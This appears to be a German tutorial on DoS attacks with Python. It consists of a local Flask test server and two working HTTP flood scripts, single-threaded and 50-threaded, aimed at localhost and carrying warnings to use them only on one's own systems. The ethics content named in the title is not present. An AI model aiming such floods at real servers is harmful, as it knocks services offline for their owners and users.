DoS und DDoS-Angriffe mit Python verstehen - Ethik, Praxis und Grenzen

# testserver.py - Einfacher lokaler Server zum Testen
from flask import Flask
import time

app = Flask(__name__)

@app.route('/')
def home():
    # Simuliere etwas Last durch kurze Verzögerung
    time.sleep(0.01)
    return "Server läuft!"

if __name__ == '__main__':
    # Läuft auf localhost:5000
    app.run(host='127.0.0.1', port=5000)

# dos_simple.py - Einfache HTTP Flood (single-threaded)
import requests
import time

target_url = "http://127.0.0.1:5000"
request_count = 0
start_time = time.time()

print("[+] Starte DoS-Test gegen lokalen Server...")
print("[!] ACHTUNG: Nur gegen eigene Testsysteme verwenden!")

try:
    while True:
        try:
            response = requests.get(target_url, timeout=1)
            request_count += 1
            
            if request_count % 100 == 0:
                elapsed = time.time() - start_time
                rps = request_count / elapsed  # Requests per second
                print(f"[*] {request_count} Requests | {rps:.2f} req/s")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Fehler: {e}")
            
except KeyboardInterrupt:
    elapsed = time.time() - start_time
    print(f"\n[*] Gestoppt nach {elapsed:.2f}s")
    print(f"[*] Total: {request_count} Requests ({request_count/elapsed:.2f} req/s)")

# dos_threaded.py - HTTP Flood mit Threading
import requests
import threading
import time

target_url = "http://127.0.0.1:5000"
request_count = 0
lock = threading.Lock()

def attack():
    global request_count
    while True:
        try:
            requests.get(target_url, timeout=1)
            with lock:
                request_count += 1
        except:
            pass

print("[+] Starte Multi-Threaded DoS-Test...")
print("[!] Threads: 50")

start_time = time.time()

# Starte 50 parallele Threads
threads = []
for _ in range(50):
    t = threading.Thread(target=attack, daemon=True)
    t.start()
    threads.append(t)

try:
    while True:
        time.sleep(1)
        elapsed = time.time() - start_time
        rps = request_count / elapsed
        print(f"[*] {request_count} Requests | {rps:.2f} req/s")
except KeyboardInterrupt:
    print(f"\n[*] Gestoppt nach {elapsed:.2f}s")
    print(f"[*] Total: {request_count} Requests")